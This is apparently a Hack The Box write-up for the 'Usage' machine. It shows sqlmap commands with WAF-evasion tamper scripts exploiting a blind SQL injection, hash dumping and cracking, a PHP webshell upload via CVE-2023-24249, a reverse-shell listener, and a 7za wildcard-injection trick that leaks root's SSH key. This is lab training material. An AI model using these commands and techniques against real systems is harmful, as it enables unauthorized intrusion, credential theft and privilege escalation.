Summary
Usage is an easy HTB Linux box.
It hosts a web application with a password recovery feature that is vulnerable to SQL Injection (SQLi).
We used SQLMap to dump the entire SQL database and found the administrator password for the Laravel dashboard on the admin
virtual host.
The Laravel dashboard is version v1.8.19, which is vulnerable to CVE-2023-24249, an arbitrary file upload vulnerability that allows attackers to execute arbitrary code via a crafted PHP file.
We upload a PHP webshell, gaining a shell as the dash
user.
In dash
’s home directory, there’s a hidden .monitrc
file with credentials for a Monit dashboard. The password also work for the local user xander
.
As xander
, the user can execute the custom binary usage_management
as root using sudo rights.
Running strings
on the binary shows it uses 7za
with a wildcard, which opens up wildcard injection.
We exploited the wildcard injection by creating a symlink and a special file to trick 7za
into revealing root’s SSH key.
Writeup
Information Gathering
We start by running an Nmap TCP version scan on all ports, revealing an SSH service and an nginx webserver. We also discover that it’s a Linux machine.
┌──(user㉿kali)-[~]
└─$ sudo nmap -sV -T4 -v <BOX-IP> -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-06 15:53 WEST
<SNIP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Visiting the web server in our browser redirects us to usage.htb
, which we add to our /etc/hosts
file.

The site's landing page.
The site is pretty bare-bones, featuring just a minimalistic layout with registration, login, and admin pages.
After registering and logging in, we’re taken to /dashboard
, where we find some blog posts.

The dashboard containing posts.
If you’re familiar with Laravel, the PHP web framework, you might recognize the default page of this site. Even if you’re not, the HTTP headers show a laravel_session
cookie, confirming the use of Laravel.
┌──(user㉿kali)-[~]
└─$ curl -I http://usage.htb/
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Cache-Control: no-cache, private
Date: Tue, 06 Aug 2024 15:02:39 GMT
Set-Cookie: XSRF-TOKEN=eyJpdid<SNIP>iIn0%3D; expires=Tue, 06 Aug 2024 17:02:39 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpo<SNIP>iIn0%3D; expires=Tue, 06 Aug 2024 17:02:39 GMT; Max-Age=7200; path=/; httponly; samesite=lax
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Clicking the admin button redirects us to another virtual host, admin.usage.htb
, which we also add to our /etc/hosts
.
Here, we encounter a login page for what appears to be the administrator dashboard.

The administrator virtual host.
Vulnerability #1 - SQL Injection
Vulnerability Assessment
With limited options, pretty much all we can do is to try a login brute force attack on the admin virtual host or look for vulnerabilities on the main site’s features.
Fortunately (or unfortunately, depending on your perspective), there aren’t many features to work with, just login, registration and password recovery.
The most likely vulnerability here is a SQL injection (SQLi), as all features involve storing or retrieving information, suggesting database interaction.
If the features weren’t properly developed and don’t sanitize inputs, we might be able to inject our own queries and access database information.
I like to use SQLMap to automate the search for SQLi vulnerabilities. If there’s no Web Application Firewall (WAF) blocking it, SQLMap can often identify any SQLi issues.
We can test for SQLi in three main areas:
- The POST request for login on
/login
. - The POST request for registration on
/registration
. - The POST request for password reset on
/forget-password
, which is linked from the login page.
We discovered that the /forget-password
form is vulnerable to a blind boolean-based SQL injection.

The password recovery page.
This is the HTTP request:
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Origin: http://usage.htb
Connection: keep-alive
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=<TOKEN>; laravel_session=<TOKEN>
Upgrade-Insecure-Requests: 1
_token=<TOKEN>&[email protected]
This SQLi was tricky to detect, so here’s the command I used to uncover it:
sqlmap 'http://usage.htb/forget-password' --data-raw '_token=<TOKEN>&[email protected]' --csrf-token="_token" --level 5 --tamper=between,space2comment -p email --batch
The command includes some key flags and parameters, so let’s break it down.
First, notice that the request includes two parameters: _token
and email
. The _token
is a CSRF token designed to prevent Cross-Site Request Forgery attacks by verifying that requests come from authenticated and trusted sources.
To handle this, we need to use the --csrf
parameter to provide the CSRF token in our requests, allowing SQLMap to interact with the web application without being blocked by CSRF protection.
Secondly, during the SQLMap scan with CSRF bypass, the output shows that a Web Application Firewall (WAF) is present.
┌──(user㉿kali)-[~]
└─$ sqlmap 'http://usage.htb/forget-password' --data-raw '_token=<TOKEN>&[email protected]' --csrf-token="_token" -p email --batch
___
__H__
___ ___[']_____ ___ ___ {1.8.5#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
<SNIP>
[10:49:56] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
<SNIP>
Web Application Firewalls (WAFs) are security tools designed to protect web applications by filtering and monitoring HTTP traffic to prevent attacks like SQL injection (SQLi) from compromising the application.
SQLMap offers features to help bypass detection, such as adjusting the level of tests and using tamper scripts.
Setting --level 5
makes SQLMap perform deeper and more diverse tests to find SQL injection vulnerabilities.
Tamper scripts like --tamper=between,space2comment
tweak the payloads in specific ways to evade security filters by changing the syntax or encoding of the SQL code.
After applying these tweaks, SQLMap detects a boolean-based blind SQLi in the email parameter.
┌──(user㉿kali)-[~]
└─$ sqlmap 'http://usage.htb/forget-password' --data-raw '_token=<TOKEN>&[email protected]' --csrf-token="_token" -p email --tamper=between,space2comment --level 5 --batch
___
__H__
___ ___[.]_____ ___ ___ {1.8.5#stable}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
<SNIP>
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 772 HTTP(s) requests:
---
Parameter: email (POST)
Type: boolean-based blind
Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: _token=<TOKEN>&email=[email protected]' AND EXTRACTVALUE(6478,CASE WHEN (6478=6478) THEN 6478 ELSE 0x3A END) AND 'AJib'='AJib
---
<SNIP>
Exploitation
With the vulnerability identified, we can now use SQLMap to dump the names of the tables in the database. Since this is a blind boolean-based SQLi, the process might take some time.
┌──(user㉿kali)-[~]
└─$ sqlmap 'http://usage.htb/forget-password' --data-raw '_token=<TOKEN>&[email protected]' --csrf-token="_token" -p email --tamper=between,space2comment --level 5 --batch --tables --exclude-sysdbs
___
__H__
___ ___[.]_____ ___ ___ {1.8.5#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
<SNIP>
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+
The admin_users
table catches our eye, as it likely contains the password hash for the admin virtual host we found earlier. Let’s dump the contents of this table.
┌──(user㉿kali)-[~]
└─$ sqlmap 'http://usage.htb/forget-password' --data-raw '_token=<TOKEN>&[email protected]' --csrf-token="_token" -p email --tamper=between,space2comment --level 5 --batch -T admin_users --dump
___
__H__
___ ___[(]_____ ___ ___ {1.8.5#stable}
|_ -| . [.] | . | . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
<SNIP>
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------+---------------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | idatar | name | password | username | created_at | updated_at | remember_token |
+----+---------+---------------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1 | <blank> | Administrator | $2y$10$ohq.................<SNIP>.......................PrL2 | admin | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThX.....................<SNIP>.........................rsLT |
+----+---------+---------------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
As expected, we retrieve a password hash. Using hashid
, we identify it as Blowfish.
┌──(user㉿kali)-[~]
└─$ hashid '$2y$10$ohq<SNIP>PrL2' -m
Analyzing '$2y$10$ohq<SNIP>PrL2'
[+] Blowfish(OpenBSD) [Hashcat Mode: 3200]
[+] Woltlab Burning Board 4.x
[+] bcrypt [Hashcat Mode: 3200]
We can crack this hash with Hashcat using the rockyou.txt
wordlist.
┌──(user㉿kali)-[/tmp]
└─$ sudo hashcat -m 3200 admin.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
$2y$10$ohq<SNIP>PrL2:<PASSWORD>
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$ohq<SNIP>PrL2
Time.Started.....: Wed Aug 7 16:47:12 2024 (16 secs)
Time.Estimated...: Wed Aug 7 16:47:28 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 103 H/s (10.44ms) @ Accel:8 Loops:16 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1600/14344385 (0.01%)
Rejected.........: 0/1600 (0.00%)
Restore.Point....: 1536/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1008-1024
Candidate.Engine.: Device Generator
Candidates.#1....: clover -> dragon1
Started: Wed Aug 7 16:46:26 2024
Stopped: Wed Aug 7 16:47:30 2024
Once cracked, we use the password to log in at admin.usage.htb
, giving us access to the Laravel administrator dashboard.

The laravel admin dashboard after authenticating.
Vulnerability #2 - CVE-2023-24249
Vulnerability Assessment
Administrator dashboards for web applications often have built-in features that can be exploited for Remote Code Execution (RCE) on the underlying server, not to mention potential CVEs.
A quick Google search for “laravel admin 10.18.0 cve” reveals CVE-2023-24249, an arbitrary file upload vulnerability that allows attackers to execute arbitrary code via a crafted PHP file.
There are some PoC scripts out there, but this blog post does a great job of breaking down the exploit steps. It’s short, so I recommend giving it a read to understand how it works.
Exploitation
In summary, the profile picture upload feature doesn’t properly restrict PHP extensions, which allows us to bypass the filter and upload a PHP webshell to the server. The trick is to upload a random image, intercept the request with Burp Suite, swap the image with a PHP webshell, and rename the file extension to something like jpg.php
.

Webshell as dash.
However, the webshell file kept getting deleted, and any reverse shell I spawned would die after a few minutes. This suggests there’s a cleanup cronjob running in the background, likely as part of the CTF. To get around this, I recommend immediately reading the private SSH key in the dash
user’s home directory and using it to SSH into the server as them.
┌──(user㉿kali)-[~]
└─$ sudo logshell rlwrap nc -lnvp 4444
connect to [<MY-IP>] from (UNKNOWN) [<BOX-IP>] 41412
dash@usage:~$ cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>
63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=
-----END OPENSSH PRIVATE KEY-----
Privilege Escalation
User
The first thing I do after getting a shell as a user is check their home directory, especially the hidden dotfiles.
There are quite a few unusual files, including .monitrc
, which looks like a configuration file.
dash@usage:~$ ls -la .
total 908
drwxr-x--- 8 dash dash 4096 Aug 8 10:41 .
drwxr-xr-x 4 root root 4096 Aug 16 2023 ..
lrwxrwxrwx 1 root root 9 Apr 2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan 6 2022 .bashrc
drwx------ 3 dash dash 4096 Aug 7 2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20 2023 .config
drwx------ 3 dash dash 4096 Aug 8 10:38 .gnupg
-rw------- 1 dash dash 20 Aug 8 10:30 .lesshst
-rwxrwxrwx 1 dash dash 862777 Jul 24 21:12 linpeas.sh
drwxrwxr-x 3 dash dash 4096 Aug 7 2023 .local
-rw-r--r-- 1 dash dash 32 Oct 26 2023 .monit.id
-rw-r--r-- 1 dash dash 6 Aug 8 10:41 .monit.pid
-rwx------ 1 dash dash 707 Oct 26 2023 .monitrc
-rw------- 1 dash dash 1192 Aug 8 10:41 .monit.state
-rw-r--r-- 1 dash dash 807 Jan 6 2022 .profile
drwx------ 3 dash dash 4096 Aug 8 10:31 snap
drwx------ 2 dash dash 4096 Aug 24 2023 .ssh
-rw-r----- 1 root dash 33 Aug 8 10:14 user.txt
This file contains credentials for a web application running on port 2812. Since Nmap didn’t pick this up, it’s likely not exposed externally.
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
use address 127.0.0.1
allow admin:<PASSWORD>
#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
if cpu > 80% for 2 cycles then alert
#System Monitoring
check system usage
if memory usage > 80% for 2 cycles then alert
if cpu usage (user) > 70% for 2 cycles then alert
if cpu usage (system) > 30% then alert
if cpu usage (wait) > 20% then alert
if loadavg (1min) > 6 for 2 cycles then alert
if loadavg (5min) > 4 for 2 cycles then alert
if swap usage > 5% then alert
check filesystem rootfs with path /
if space usage > 80% then alert
Using curl
on the localhost reveals that it’s a web interface for Monit 3.31.0, a tool for monitoring and managing Unix systems.
dash@usage:~$ curl http://127.0.0.1:2812/
<html>
<head>
<title>401 Unauthorized</title>
</head>
<body bgcolor=#FFFFFF>
<h2>Unauthorized</h2>You are not authorized to access monit. Either you supplied the wrong credentials (e.g. bad password), or your browser doesn't understand how to supply the credentials required
<hr>
<a href='http://mmonit.com/monit/'>
<font size=-1>monit 5.31.0</font>
</a>
</body>
</html>
The Monit process runs under the dash
user, so even if we exploited it, we’d likely only get RCE as dash
, which we already have. We need a different approach.
dash@usage:~$ ps aux | grep monit
dash 66624 0.0 0.0 84684 3480 ? Sl 10:58 0:00 /usr/bin/monit
When I find a password that I’m unsure how to use, I like to try it on other services or accounts in case of password reuse. By this point, I had already done some internal recon and found another user on the box with a home directory: xander
.
dash@usage:~$ ls /home
dash xander
Fortunately, the password works, and now we have a shell as the xander
user.
dash@usage:~$ su xander
Password:
xander@usage:/home/dash$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)
Root
Checking xander
’s privileges, we see they can run a binary called usage_management
as root.
xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
It’s an ELF file, so cat
ing it just gives us gibberish since it’s a binary, not plain text.
xander@usage:~$ file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64 <SNIP>
Running the binary reveals options to run commands, including one to back up the web application as a compressed zip file.
xander@usage:~$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7513 32-Core Processor (A00F11),ASM,AES-NI)
Scanning the drive:
2984 folders, 17971 files, 114778547 bytes (110 MiB)
Creating archive: /var/backups/project.zip
Items to compress: 20955
Files read from disk: 17971
Archive size: 54870995 bytes (53 MiB)
Everything is Ok
Since we have sudo rights on this binary, our goal is to get it to execute commands or read/write files for us. To figure out how to exploit it, we need to reverse engineer it. Without source code, we start with binary analysis.
The very first thing I like to do is to run strings
on the binary. This command pulls out any readable text, which can give us clues about how the binary works.
xander@usage:~$ strings /usr/bin/usage_management
<SNIP>
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
Invalid choice.
<SNIP>
It looks like when backing up the project, the program changes to the /var/www/html
directory and uses the 7za
command with a wildcard.
Whenever I see a wildcard, I start thinking of wildcard injection attacks. Googling for 7za wildcard injection
leads to this HackTricks article that explains the exploitation method.
Here’s the idea: create a symlink as a .txt
file in the directory where compression happens, pointing to a root-protected file you want to access. Then, make another file named @<symlink-filename>.txt
. This tricks 7z
into thinking the symlink file is a list of files to compress. In reality, the symlink points to the protected file, and the mismatch causes an error that reveals the content of the protected file.
I used this exploit to read the root’s SSH key, but you could also grab the root.txt
flag from its home directory.
xander@usage:/var/www/html$ touch @id_rsa.txt
xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa id_rsa.txt
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7513 32-Core Processor (A00F11),ASM,AES-NI)
Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54871992
Scanning the drive:
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----
WARNING: No more files
b3BlbnNzaC1rZXktdjEAA<SNIP>vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
WARNING: No more files
QyNTUxOQAAACC20mOr6LA<SNIP>+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
WARNING: No more files
QgAAAAtzc2gtZWQyNTUxO<SNIP>20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
WARNING: No more files
AAAEC63P+5DvKwuQtE4YO<SNIP>fSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
WARNING: No more files
H2sfTWZeFDLGmqMhrqDdA<SNIP>vb3RAdXNhZ2UBAgM=
WARNING: No more files
-----END OPENSSH PRIVATE KEY-----
<SNIP>
With that done, SSH in as root, and the box is complete.
┌──(user㉿kali)-[/tmp]
└─$ ssh root@<BOX-IP> -i id_rsa
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
<SNIP>
root@usage:~# ls -l
total 16
-rwxr-xr-x 1 root root 307 Apr 3 13:24 cleanup.sh
-rw-r----- 1 root root 33 Aug 8 11:26 root.txt
drwx------ 3 root root 4096 Aug 6 2023 snap
-rw-r--r-- 1 root root 1444 Oct 28 2023 usage_management.c